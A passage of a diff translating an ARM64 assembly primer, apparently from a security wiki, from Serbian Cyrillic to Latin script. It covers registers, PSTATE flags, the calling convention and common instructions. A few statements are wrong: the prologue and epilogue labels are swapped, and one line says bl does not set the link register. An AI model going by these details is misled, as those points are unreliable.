позива** за **`svc`** инструкцију у **macOS**. -5. **`x18`** - **Регистар платформе**. Може се користити као регистар опште намене, али на неким платформама, овај регистар је резервисан за специфичне употребе платформе: Показивач на блок окружења тренутне нит у Виндовсу, или да укаже на тренутну **структуру извршавања задатка у језгру линукса**. -6. **`x19`** до **`x28`** - Ово су регистри које чува позвана функција. Функција мора да сачува вредности ових регистара за свог позиваоца, тако да се чувају на стеку и опорављају пре него што се врати позиваоцу. -7. **`x29`** - **Показивач оквира** за праћење оквира стека. Када се креира нови оквир стека јер је функција позвана, **`x29`** регистар се **чува на стеку** и **нови** адреса показивача оквира (**`sp`** адреса) се **чува у овом регистру**. -- Овај регистар се такође може користити као **регистар опште намене** иако се обично користи као референца за **локалне променљиве**. -8. **`x30`** или **`lr`**- **Регистар за повратак**. Држи **адресу повратка** када се извршава `BL` (Грант са повратком) или `BLR` (Грант са повратком у регистар) инструкција чувајући **`pc`** вредност у овом регистру. -- Може се користити и као било који други регистар. -- Ако тренутна функција позива нову функцију и стога преоптерећује `lr`, чуваће је на стеку на почетку, ово је епилог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Сачувај `fp` и `lr`, генериши простор и добиј нови `fp`) и опоравиће је на крају, ово је пролог (`ldp x29, x30, [sp], #48; ret` -> Опорави `fp` и `lr` и врати се). -9. **`sp`** - **Показивач стека**, користи се за праћење врха стека. -- Вредност **`sp`** треба увек да буде одржавана на најмање **квадричном** **положају** или може доћи до изузећа у поравнању. -10. **`pc`** - **Број програма**, који указује на следећу инструкцију. Овај регистар може бити ажуриран само кроз генерисање изузећа, повратке изузећа и гране. Једине обичне инструкције које могу читати овај регистар су инструкције гране са повратком (BL, BLR) да чувају **`pc`** адресу у **`lr`** (Регистар за повратак). -11. **`xzr`** - **Нулти регистар**. Такође се зове **`wzr`** у свом **32**-битном регистарном облику. Може се користити за лако добијање нулте вредности (обична операција) или за извршавање поређења користећи **`subs`** као **`subs XZR, Xn, #10`** чувајући резултујуће податке нигде (у **`xzr`**). +1. **`x0`** do **`x7`** - Obično se koriste kao privremeni (scratch) registri i za prosleđivanje parametara funkcijama. +- **`x0`** takođe nosi povratne podatke funkcije +2. **`x8`** - U Linux kernelu, `x8` se koristi kao broj sistemskog poziva za `svc` instrukciju. **U macOS-u se koristi x16!** +3. **`x9`** do **`x15`** - Više privremenih registara, često korišćeni za lokalne promenljive. +4. **`x16`** i **`x17`** - **Intra-procedural Call Registers**. Privremeni registri za neposredne vrednosti. Takođe se koriste za indirektne pozive funkcija i PLT stub-ove. +- **`x16`** se koristi kao **broj sistemskog poziva** za **`svc`** instrukciju u **macOS**. +5. **`x18`** - **Platform register**. Može biti korišćen kao registar opšte namene, ali na nekim platformama ovaj registar je rezervisan za platformno-specifične svrhe: pokazivač na trenutni thread environment block u Windows-u, ili pokazivač na trenutno **executing task structure in linux kernel**. +6. **`x19`** do **`x28`** - Ovo su callee-saved registri. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, pa se oni smestе na stek i vraćaju pre povratka pozivaocu. +7. **`x29`** - **Frame pointer** za praćenje stack frame-a. Kada se kreira novi stack frame prilikom poziva funkcije, sadržaj **`x29`** se **smešta na stek** i adresa novog frame pointer-a (adresa **`sp`**) se **smešta u ovaj registar**. +- Ovaj registar se može koristiti i kao registar opšte namene, iako se obično koristi kao referenca za **lokalne promenljive**. +8. **`x30`** ili **`lr`** - **Link register**. Drži **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija, tako što se vrednost **`pc`** skladišti u ovaj registar. +- Može se koristiti i kao bilo koji drugi registar. +- Ako trenutna funkcija poziva novu funkciju i time prepisuje `lr`, ona će ga smestiti na stek na početku — to je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) i vratiti ga na kraju — to je prolog (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return). +9. **`sp`** - **Stack pointer**, koristi se za praćenje vrha steka. +- vrednost **`sp`** uvek treba da bude poravnata na najmanje **quadword** ili može doći do izuzetka poravnanja. +10. **`pc`** - **Program counter**, pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo kroz generisanje izuzetaka, povratke iz izuzetaka i grane. Jedine obične instrukcije koje mogu čitati ovaj registar su branch with link instrukcije (BL, BLR) koje skladište adresu **`pc`** u **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Takođe se zove **`wzr`** u svojoj **32**-bitnoj formi. Može se koristiti da lako dobije vrednost nula (česta operacija) ili da se izvrše poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** pri čemu rezultat nije nigde smešten (u **`xzr`**). -Регистри **`Wn`** су **32-битна** верзија регистара **`Xn`**. +Registarski oblik **`Wn`** su **32-bitna** verzija **`Xn`** registra. -### SIMD и Флоатинг-Поинт Регистри +> [!TIP] +> Registri od `X0` do `X18` su volatilni, što znači da njihove vrednosti mogu biti promenjene pozivima funkcija i prekinućima. Međutim, registri od `X19` do `X28` su ne-volatilni, što znači da njihove vrednosti moraju biti sačuvane preko poziva funkcija ("callee saved"). -Штавише, постоји још **32 регистра дужине 128бит** који се могу користити у оптимизованим операцијама једне инструкције више података (SIMD) и за извршавање флоатинг-поинт аритметике. Ови се зову Vn регистри иако могу радити и у **64**-битном, **32**-битном, **16**-битном и **8**-битном режиму и тада се зову **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** и **`Bn`**. +### SIMD i floating-point registri -### Системски Регистри +Pored toga, postoji još **32 registra dužine 128 bitova** koji se mogu koristiti u optimizovanim single instruction multiple data (SIMD) operacijama i za izvođenje floating-point aritmetike. Oni se nazivaju Vn registri i mogu takođe raditi u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, kada se onda zovu **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. -**Постоје стотине системских регистара**, такође познатих као регистри специјалне намене (SPRs), који се користе за **праћење** и **контролу** **понашања** **процесора**.\ -Могу се читати или постављати само користећи посебне инструкције **`mrs`** и **`msr`**. +### Sistemski registri -Посебни регистри **`TPIDR_EL0`** и **`TPIDDR_EL0`** се често налазе током реверзног инжењеринга. Суфикс `EL0` указује на **минимално изузеће** из ког се регистар може приступити (у овом случају EL0 је редовно изузеће (привилегија) ниво редовних програма).\ -Често се користе за чување **основне адресе региона локалне меморије**. Обично је први читљив и записив за програме који раде у EL0, али други се може читати из EL0 и писати из EL1 (као језгро). +**Postoje stotine sistemskih registara**, takođe zvanih special-purpose registri (SPRs), koji se koriste za **monitoring** i **kontrolu** ponašanja procesora.\ +Mogu se čitati ili postavljati samo pomoću posebnih instrukcija **`mrs`** i **`msr`**. -- `mrs x0, TPIDR_EL0 ; Читај TPIDR_EL0 у x0` -- `msr TPIDR_EL0, X0 ; Запиши x0 у TPIDR_EL0` +Specijalni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** se često pojavljuju pri reverse engineering-u. Sufiks `EL0` označava **minimalni nivo izuzetka** sa kojeg se registar može pristupiti (u ovom slučaju EL0 je regularni nivo privilegija na kojem obični programi rade).\ +Često se koriste za skladištenje **osnovne adrese thread-local storage region-a** u memoriji. Obično je prvi čitljiv i upisiv za programe koji rade u EL0, dok se drugi može čitati iz EL0 i pisati iz EL1 (npr. kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** садржи неколико компоненти процеса серијализованих у регистру **`SPSR_ELx`** видљивом за оперативни систем, где је X **ниво** **дозволе** **изазваног** изузећа (ово омогућава опоравак стања процеса када изузеће заврши).\ -Ово су доступна поља: +**PSTATE** sadrži nekoliko komponenti procesa serijalizovanih u operativnom sistemu vidljivom **`SPSR_ELx`** specijalnom registru, gde X označava **nivo privilegija** izuzetka koji je izazvan (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\ +Ovo su dostupna polja:
-- **`N`**, **`Z`**, **`C`** и **`V`** условне заставице: -- **`N`** значи да је операција дала негативан резултат -- **`Z`** значи да је операција дала нулу -- **`C`** значи да је операција пренела -- **`V`** значи да је операција дала потписано преливање: -- Збир два позитивна броја даје негативан резултат. -- Збир два негативна броја даје позитиван резултат. -- У одузимању, када се велики негативан број одузме од мањег позитивног броја (или обрнуто), а резултат не може бити представљен у опсегу дате величине бита. -- Очигледно, процесор не зна да ли је операција потписана или не, па ће проверити C и V у операцијама и указати да ли је дошло до преноса у случају да је била потписана или непотписана. +- Condition flag-ovi **`N`**, **`Z`**, **`C`** i **`V`**: +- **`N`** znači da je operacija dala negativan rezultat +- **`Z`** znači da je operacija dala nulu +- **`C`** znači da je operacija imala carry +- **`V`** znači da je operacija imala signed overflow: +- Zbir dva pozitivna broja daje negativan rezultat. +- Zbir dva negativna broja daje pozitivan rezultat. +- U oduzimanju, kada se veliki negativan broj oduzme od manjeg pozitivnog (ili obrnuto), i rezultat se ne može predstaviti unutar opsega datog broja bitova. +- Procesor ne zna da li je operacija potpisana ili ne, pa proverava C i V kod operacija i signalizuje ako je došlo do carry-a u kontekstu signed/unsigned operacija. > [!WARNING] -> Нису све инструкције ажурирале ове заставице. Неке као **`CMP`** или **`TST`** то раде, а друге које имају s суфикс као **`ADDS`** такође то раде. +> Neće sve instrukcije ažurirati ove flag-ove. Neke poput **`CMP`** ili **`TST`** hoće, a druge koje imaju sufiks `s` kao **`ADDS`** takođe ih ažuriraju. -- Тренутна **заставица ширине регистра (`nRW`)**: Ако застава држи вредност 0, програм ће се извршавати у AArch64 извршном стању када се поново покрене. -- Тренутни **Ниво изузећа** (**`EL`**): Редован програм који ради у EL0 имаће вредност 0 -- **Заставица појединачног корака** (**`SS`**): Користи се од стране дебагера за појединачно корачање постављајући SS заставицу на 1 унутар **`SPSR_ELx`** кроз изузеће. Програм ће извршити корак и изазвати изузеће појединачног корака. -- Заставица **недозвољеног изузећа** (**`IL`**): Користи се за означавање када привилегисани софтвер изврши неважећи пренос нивоа изузећа, ова застава се поставља на 1 и процесор покреће изузеће недозвољеног стања. -- Заставице **`DAIF`**: Ове заставице омогућавају привилегисаном програму да селективно маскира одређена спољна изузећа. -- Ако је **`A`** 1, то значи да ће бити покренути **асинхрони прекиди**. **`I`** конфигурише да реагује на спољне захтеве за прекид хардвера (IRQ). и F је повезан са **Брзим захтевима за прекид** (FIR). -- Заставице **избора показивача стека** (**`SPS`**): Привилегисани програми који раде у EL1 и изнад могу да прелазе између коришћења свог регистара показивача стека и корисничког модела (нпр. између `SP_EL1` и `EL0`). Ова прелазак се изводи писањем у посебни регистар **`SPSel`**. Ово не може бити учињено из EL0. +- Trenutni **flag širine registra (`nRW`)**: Ako flag drži vrednost 0, program će se izvršavati u AArch64 execution state nakon povratka. +- Trenutni **Exception Level** (**`EL`**): Regularan program koji radi u EL0 ima vrednost 0 +- **Single stepping** flag (**`SS`**): Koriste debugeri za single-step izvršavanje postavljanjem SS na 1 unutar **`SPSR_ELx`** kroz izuzetak. Program izvrši jedan korak i izazove single-step izuzetak. +- **Illegal exception** state flag (**`IL`**): Koristi se da označi kada privileged softver izvrši nevaljan transfer između nivoa izuzetaka; taj flag se postavlja na 1 i procesor pokreće illegal state izuzetak. +- **`DAIF`** flag-ovi: Ovi flag-ovi omogućavaju privilegovanom programu selektivno maskiranje određenih eksternih izuzetaka. +- Ako je **`A`** 1, to znači da će se trigirati **asynchronous aborts**. **`I`** konfiguriše odgovor na eksterni hardverski **Interrupt Requests** (IRQ). `F` je vezan za **Fast Interrupt Requests** (FIRs). +- **Stack pointer select** flag-ovi (**`SPS`**): Privilegovani programi koji rade u EL1 i iznad mogu menjati između korišćenja sopstvenog stack pointer registra i user-mode jednog (npr. između `SP_EL1` i `EL0`). Ova zamena se vrši upisom u specijalni registar **`SPSel`**. Ovo se ne može uraditi iz EL0. -## **Конвенција Позивања (ARM64v8)** +## **Konvencija poziva (ARM64v8)** -ARM64 конвенција позивања спецификује да се **првих осам параметара** функцији преноси у регистрима **`x0` до `x7`**. **Додатни** параметри се преносе на **стеку**. **Вредност** повратка се враћа у регистар **`x0`**, или у **`x1`** такође **ако је 128 битна**. Регистри **`x19`** до **`x30`** и **`sp`** морају бити **очувани** током позива функција. +ARM64 calling convention navodi da se **prvih osam parametara** funkcije prosleđuje u registrima **`x0`** kroz **`x7`**. **Dodatni** parametri se prosleđuju na **stek**. Vrednost koju funkcija vraća se prosleđuje u registru **`x0`**, ili i u **`x1`** ako je **128 bita dugačka**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** preko poziva funkcija. -Када читате функцију у асемблеру, потражите **пролог и епилог функције**. **Пролог** обично укључује **чување показивача оквира (`x29`)**, **постављање** новог **показивача оквира**, и **алокацију простора на стеку**. **Епилог** обично укључује **обнављање сачуваног показивача оквира** и **враћање** из функције. +Prilikom čitanja funkcije u asembleru, tražite **function prologue i epilogue**. **Prologue** obično uključuje **čuvanje frame pointer-a (`x29`)**, **postavljanje novog frame pointer-a** i **alokaciju prostora na steku**. **Epilogue** obično uključuje **vraćanje sačuvanog frame pointer-a** i **povratak** iz funkcije. -### Конвенција Позивања у Swift +### Calling Convention u Swift -Swift има своју **конвенцију позивања** која се може наћи у [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift ima sopstvenu **calling convention** koja se može naći na [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Уобичајене Инструкције (ARM64v8)** +## **Uobičajene instrukcije (ARM64v8)** -ARM64 инструкције генерално имају **формат `opcode dst, src1, src2`**, где је **`opcode`** **операција** која треба да се изврши (као што су `add`, `sub`, `mov`, итд.), **`dst`** је **одредишни** регистар у који ће бити сачуван резултат, а **`src1`** и **`src2`** су **изворни** регистри. Одмах вредности се такође могу користити уместо изворних регистара. +ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja će biti izvršena (npr. `add`, `sub`, `mov`, itd.), **`dst`** je registar destinacije gde će rezultat biti smešten, a **`src1`** i **`src2`** su registarski operandi. Takođe je moguće koristiti immediate vrednosti umesto registara. -- **`mov`**: **Премести** вредност из једног **регистра** у други. -- Пример: `mov x0, x1` — Ово премешта вредност из `x1` у `x0`. -- **`ldr`**: **Учитај** вредност из **меморије** у **регистар**. -- Пример: `ldr x0, [x1]` — Ово учитава вредност из меморијске локације на коју указује `x1` у `x0`. -- **Режим офсет**: Офсет који утиче на оригинални показивач је назначен, на пример: -- `ldr x2, [x1, #8]`, ово ће учитати у x2 вредност из x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, ово ће учитати у x2 објекат из низа x0, из позиције x1 (индекс) \* 4 -- **Режим пред-индикатора**: Ово ће применити израчунавања на оригинал, добити резултат и такође сачувати нови оригинал у оригиналу. -- `ldr x2, [x1, #8]!`, ово ће учитати `x1 + 8` у `x2` и сачувати у x1 резултат `x1 + 8` -- `str lr, [sp, #-4]!`, Сачувај регистар за повратак у sp и ажурирај регистар sp -- **Режим пост-индикатора**: Ово је као претходни, али се меморијска адреса приступа и затим се офсет израчунава и чува. -- `ldr x0, [x1], #8`, учитај `x1` у `x0` и ажурирај x1 са `x1 + 8` -- **PC-релативно адресирање**: У овом случају адреса за учитавање се израчунава релативно на PC регистар -- `ldr x1, =_start`, Ово ће учитати адресу где симбол `_start` почиње у x1 у односу на тренутни PC. -- **`str`**: **Сачувај** вредност из **регистра** у **меморију**. -- Пример: `str x0, [x1]` — Ово чува вредност у `x0` у меморијској локацији на коју указује `x1`. -- **`ldp`**: **Учитај пар регистара**. Ова инструкција **учитава два регистра** из **узастопних меморијских** локација. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру. -- Пример: `ldp x0, x1, [x2]` — Ово учитава `x0` и `x1` из меморијских локација на `x2` и `x2 + 8`, респективно. -- **`stp`**: **Сачувај пар регистара**. Ова инструкција **сачува два регистра** у **узастопне меморијске** локације. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру. -- Пример: `stp x0, x1, [sp]` — Ово чува `x0` и `x1` у меморијским локацијама на `sp` и `sp + 8`, респективно. -- `stp x0, x1, [sp, #16]!` — Ово чува `x0` и `x1` у меморијским локацијама на `sp+16` и `sp + 24`, респективно, и ажурира `sp` са `sp+16`. -- **`add`**: **Додај** вредности два регистра и сачувај резултат у регистру. -- Синтакса: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Одредиште -- Xn2 -> Операнд 1 -- Xn3 | #imm -> Операнд 2 (регистар или одмах) -- \[shift #N | RRX] -> Изврши померање или позови RRX -- Пример: `add x0, x1, x2` — Ово додаје вредности у `x1` и `x2` и чува резултат у `x0`. -- `add x5, x5, #1, lsl #12` — Ово је једнако 4096 (1 померач 12 пута) -> 1 0000 0000 0000 0000 -- **`adds`** Ово извршава `add` и ажурира заставице -- **`sub`**: **Одузми** вредности два регистра и сачувај резултат у регистру. -- Проверите **`add`** **синтаксу**. -- Пример: `sub x0, x1, x2` — Ово одузима вредност у `x2` од `x1` и чува резултат у `x0`. -- **`subs`** Ово је као sub али ажурира заставицу -- **`mul`**: **Множење** вредности **две регистре** и чува резултат у регистру. -- Пример: `mul x0, x1, x2` — Ово множење вредности у `x1` и `x2` и чува резултат у `x0`. -- **`div`**: **Дели** вредност једног регистра са другим и чува резултат у регистру. -- Пример: `div x0, x1, x2` — Ово дели вредност у `x1` са `x2` и чува резултат у `x0`. +- **`mov`**: **Premesti** vrednost iz jednog **registra** u drugi. +- Primer: `mov x0, x1` — Premesti vrednost iz `x1` u `x0`. +- **`ldr`**: **Učitaj** vrednost iz **memorije** u **registar**. +- Primer: `ldr x0, [x1]` — Učita vrednost sa memorijske lokacije na koju pokazuje `x1` u `x0`. +- **Offset mode**: Offset koji utiče na origin pointer je naznačen, na primer: +- `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost sa adrese x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (index) * 4 +- **Pre-indexed mode**: Ovo će primeniti računanje na origin, dobiti rezultat i takođe ažurirati origin sa rezultatom. +- `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8` +- `str lr, [sp, #-4]!`, Smešta link register u sp i ažurira registar sp +- **Post-index mode**: Ovo je kao prethodno, ali se adresa memorije pristupi prvo, a zatim se offset izračuna i sačuva. +- `ldr x0, [x1], #8`, učitaj iz `x1` u `x0` i ažuriraj x1 sa `x1 + 8` +- **PC-relativno adresiranje**: U ovom slučaju adresa za učitavanje se izračunava relativno u odnosu na PC registar +- `ldr x1, =_start`, Ovo će učitati adresu gde simbol `_start` počinje u x1 u odnosu na trenutni PC. +- **`str`**: **Smeštanje** vrednosti iz **registra** u **memoriju**. +- Primer: `str x0, [x1]` — Smešta vrednost iz `x0` u memorijsku lokaciju na koju pokazuje `x1`. +- **`ldp`**: **Load Pair of Registers**. Ova instrukcija **učitava dva registra** iz **uzastopnih memorijskih lokacija**. Memorijska adresa se obično formira dodavanjem offset-a vrednosti u drugom registru. +- Primer: `ldp x0, x1, [x2]` — Učitava `x0` i `x1` sa memorijskih lokacija na `x2` i `x2 + 8`. +- **`stp`**: **Store Pair of Registers**. Ova instrukcija **smešta dva registra** u **uzastopne memorijske lokacije**. +- Primer: `stp x0, x1, [sp]` — Smešta `x0` i `x1` na lokacije `sp` i `sp + 8`. +- `stp x0, x1, [sp, #16]!` — Smešta `x0` i `x1` na lokacije `sp+16` i `sp + 24`, i ažurira `sp` na `sp+16`. +- **`add`**: **Saberi** vrednosti dva registra i smesti rezultat u registar. +- Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- Xn1 -> Destination +- Xn2 -> Operand 1 +- Xn3 | #imm -> Operand 2 (registar ili immediate) +- \[shift #N | RRX] -> Izvrši shift ili RRX +- Primer: `add x0, x1, x2` — Sabira vrednosti u `x1` i `x2` i smešta rezultat u `x0`. +- `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (1 shiftovan 12 puta) -> 1 0000 0000 0000 0000 +- **`adds`**: Izvršava `add` i ažurira flag-ove +- **`sub`**: **Oduzmi** vrednosti dva registra i smesti rezultat u registar. +- Pogledajte **`add`** **sintaksu**. +- Primer: `sub x0, x1, x2` — Oduzima vrednost u `x2` od `x1` i smešta rezultat u `x0`. +- **`subs`**: Kao `sub`, ali ažurira flag-ove +- **`mul`**: **Množenje** vrednosti dva registra i smeštanje rezultata u registar. +- Primer: `mul x0, x1, x2` — Množi vrednosti u `x1` i `x2` i smešta rezultat u `x0`. +- **`div`**: **Deljenje** vrednosti jednog registra drugim i smeštanje rezultata u registar. +- Primer: `div x0, x1, x2` — Deli vrednost u `x1` sa `x2` i smešta rezultat u `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Логичко померање налево**: Додајте 0 из краја померајући остале битове напред (множите са n-пута 2) -- **Логичко померање надесно**: Додајте 1 на почетку померајући остале битове уназад (делите са n-пута 2 у непотписаним) -- **Аритметичко померање надесно**: Као **`lsr`**, али уместо додавања 0, ако је најзначајнији бит 1, **додају се 1** (делите са n-пута 2 у потписаним) -- **Померите десно**: Као **`lsr`** али шта год да се уклони с десне стране, додаје се с леве -- **Померите десно са проширењем**: Као **`ror`**, али са заставицом преноса као "најзначајнији бит". Дакле, застава преноса се помера на бит 31 и уклоњени бит у заставу преноса. -- **`bfm`**: **Премештање битова**, ове операције **копирају битове `0...n`** из вредности и стављају их у позиције **`m..m+n`**. **`#s`** одређује **леву најзначајнију позицију** и **`#r`** количину **померања десно**. -- Премештање битова: `BFM Xd, Xn, #r` -- Потписано премештање битова: `SBFM Xd, Xn, #r, #s` -- Непотписано премештање битова: `UBFM Xd, Xn, #r, #s` -- **Извлачење и уметање битова:** Копира битно поље из регистра и копира га у други регистар. -- **`BFI X1, X2, #3, #4`** Уметни 4 бита из X2 из 3. бита X1 -- **`BFXIL X1, X2, #3, #4`** Извлачи из 3. бита X2 четири бита и копира их у X1 -- **`SBFIZ X1, X2, #3, #4`** Потписује 4 бита из X2 и уметне их у X1 почињући на позицији бита 3 нулирајући десне битове -- **`SBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на 3. бита из X2, потписује их и ставља резултат у X1 -- **`UBFIZ X1, X2, #3, #4`** Нулира 4 бита из X2 и уметне их у X1 почињући на позицији бита 3 нулирајући десне битове -- **`UBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на 3. бита из X2 и ставља нулирано проширени резултат у X1. -- **Проширење знака у X:** Проширење знака (или само додавање 0 у непотписаној верзији) вредности да би се могле извршавати операције с њом: -- **`SXTB X1, W2`** Проширење знака байта **из W2 у X1** (`W2` је половина `X2`) да попуни 64 бита -- **`SXTH X1, W2`** Проширење знака 16-битног броја **из W2 у X1** да попуни 64 бита -- **`SXTW X1, W2`** Проширење знака байта **из W2 у X1** да попуни 64 бита -- **`UXTB X1, W2`** Додаје 0 (непотписано) на байт **из W2 у X1** да попуни 64 бита -- **`extr`:** Извлачи битове из одређеног **пара регистара конкатенисаних**. -- Пример: `EXTR W3, W2, W1, #3` Ово ће **конкатенисати W1+W2** и добити **од бита 3 W2 до бита 3 W1** и сачувати у W3. -- **`cmp`**: **Поређење** два регистра и постављање условних заставица. То је **алиас `subs`** постављајући регистар одредишта на нулти регистар. Корисно за проверу да ли је `m == n`. -- Подржава **исту синтаксу као `subs`** -- Пример: `cmp x0, x1` — Ово пореди вредности у `x0` и `x1` и поставља условне заставице у складу с тим. -- **`cmn`**: **Поређење негативног** операнда. У овом случају је **алиас `adds`** и подржава исту синтаксу. Корисно за проверу да ли је `m == -n`. -- **`ccmp`**: Условно поређење, то је поређење које ће бити извршено само ако је претходно поређење било тачно и конкретно ће поставити nzcv битове. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ако x1 != x2 и x3 < x4, скочи на func -- Ово је зато што ће **`ccmp`** бити извршено само ако је **претходни `cmp` био `NE`**, ако није, битови `nzcv` ће бити постављени на 0 (што неће задовољити `blt` поређење). -- Ово се може користити и као `ccmn` (исто али негативно, као `cmp` против `cmn`). -- **`tst`**: Проверава да ли су било које од вредности поређења обе 1 (ради као ANDS без чувања резултата било где). Корисно је проверити регистар са вредношћу и проверити да ли је било који од битова регистра назначених у вредности 1. -- Пример: `tst X1, #7` Проверава да ли је било који од последња 3 бита X1 1 -- **`teq`**: XOR операција без чувања резултата -- **`b`**: Непосредна грана -- Пример: `b myFunction` -- Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате) -- **`bl`**: **Грана** са повратком, користи се за **позивање** **подпрограма**. Чува **адресу повратка у `x30`**. -- Пример: `bl myFunction` — Ово позива функцију `myFunction` и чува адресу повратка у `x30`. -- Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате) -- **`blr`**: **Грана** са повратком у регистар, користи се за **позивање** **подпрограма** где је циљ **наведен** у **регистру**. Чува адресу повратка у `x30`. (Ово је -- Пример: `blr x1` — Ово позива функцију чија адреса се налази у `x1` и чува адресу повратка у `x30`. -- **`ret`**: **Врати се** из **подпрограма**, обично користећи адресу у **`x30`**. -- Пример: `ret` — Ово се враћа из тренутног подпрограма користећи адресу повратка у `x30`. -- **`b.`**: Условне гране -- **`b.eq`**: **Грана ако је једнако**, на основу претходне `cmp` инструкције. -- Пример: `b.eq label` — Ако је претходна `cmp` инструкција пронашла две једнаке вредности, ово скочи на `label`. -- **`b.ne`**: **Грана ако није једнако**. Ова инструкција проверава условне заставице (које су постављене претходном инструкцијом поређења), и ако упоређиване вредности нису једнаке, грани на ознаку или адресу. -- Пример: Након `cmp x0, x1` инструкције, `b.ne label` — Ако вредности у `x0` и `x1` нису једнаке, ово скочи на `label`. -- **`cbz`**: **Поређење и гранање на нулу**. Ова инструкција пореди регистар са нулом, и ако су једнаке, грани на ознаку или адресу. -- Пример: `cbz x0, label` — Ако је вредност у `x0` нула, ово скочи на `label`. -- **`cbnz`**: **Поређење и гранање на ненуло**. Ова инструкција пореди регистар са нулом, и ако нису једнаке, грани на ознаку или адресу. -- Пример: `cbnz x0, label` — Ако је вредност у `x0` ненула, ово скочи на `label`. -- **`tbnz`**: Тестирај бит и гранај на ненуло -- Пример: `tbnz x0, #8, label` -- **`tbz`**: Тестирај бит и гранај на нулу -- Пример: `tbz x0, #8, label` -- **Условне операције избора**: Ове операције чије се понашање разликује у зависности од условних битова. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ако је тачно, X0 = X1, ако није, X0 = X2 -- `csinc Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = Xm + 1 -- `cinc Xd, Xn, cond` -> Ако је тачно, Xd = Xn + 1, ако није, Xd = Xn -- `csinv Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = NOT(Xm) -- `cinv Xd, Xn, cond` -> Ако је тачно, Xd = NOT(Xn), ако није, Xd = Xn -- `csneg Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = - Xm -- `cneg Xd, Xn, cond` -> Ако је тачно, Xd = - Xn, ако није, Xd = Xn -- `cset Xd, Xn, Xm, cond` -> Ако је тачно, Xd = 1, ако није, Xd = 0 -- `csetm Xd, Xn, Xm, cond` -> Ако је тачно, Xd = \<сви 1>, ако није, Xd = 0 -- **`adrp`**: Израчунајте **адресу странице симбола** и сачувајте је у регистру. -- Пример: `adrp x0, symbol` — Ово израчунава адресу странице симбола `symbol` и чува је у `x0`. -- **`ldrsw`**: **Учитајте** потписану **32-битну** вредност из меморије и **потписно проширите на 64** бита. -- Пример: `ldrsw x0, [x1]` — Ово учитава потписану 32-битну вредност из меморијске локације на коју указује `x1`, потписно је проширује на 64 бита и чува у `x0`. -- **`stur`**: **Сачувајте вредност регистра на меморијску локацију**, користећи офсет из другог регистра. -- Пример: `stur x0, [x1, #4]` — Ово чува вредност у `x0` у меморијској адреси која је 4 бајта већа од адресе која се тренутно налази у `x1`. -- **`svc`** : Изврши **системски позив**. Ово значи "Позив надзорника". Када процесор извршава ову инструкцију, **прелази из режима корисника у режим језгра** и скочи на одређену локацију у меморији где се налази **код за обраду системских позива** језгра. +- **Logical shift left**: Dodaje 0-ice na kraj pomerajući ostale bitove napred (množenje za 2^n) +- **Logical shift right**: Dodaje 0-ice na početak pomerajući ostale bitove nazad (deljenje za 2^n kod unsigned) +- **Arithmetic shift right**: Kao **`lsr`**, ali umesto dodavanja 0-ica, ako je najznačajniji bit 1 dodaju se 1-ice (deljenje za 2^n kod signed) +- **Rotate right**: Kao **`lsr`**, ali ono što se izbaci sa desne strane se pridodaje levoj strani +- **Rotate Right with Extend**: Kao **`ror`**, ali sa carry flag-om kao "najznačajnijim bitom". Dakle carry se pomera na bit 31, a uklonjeni bit ide u carry flag. +- **`bfm`**: **Bit Field Move**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i postavljaju ih na pozicije **`m..m+n`**. **`#s`** specificira **levo najudaljeniji bit**, a **`#r`** količinu rotacije udesno. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Kopira bitfield iz registra i umešta ga u drugi registar. +- **`BFI X1, X2, #3, #4`** Umešta 4 bita 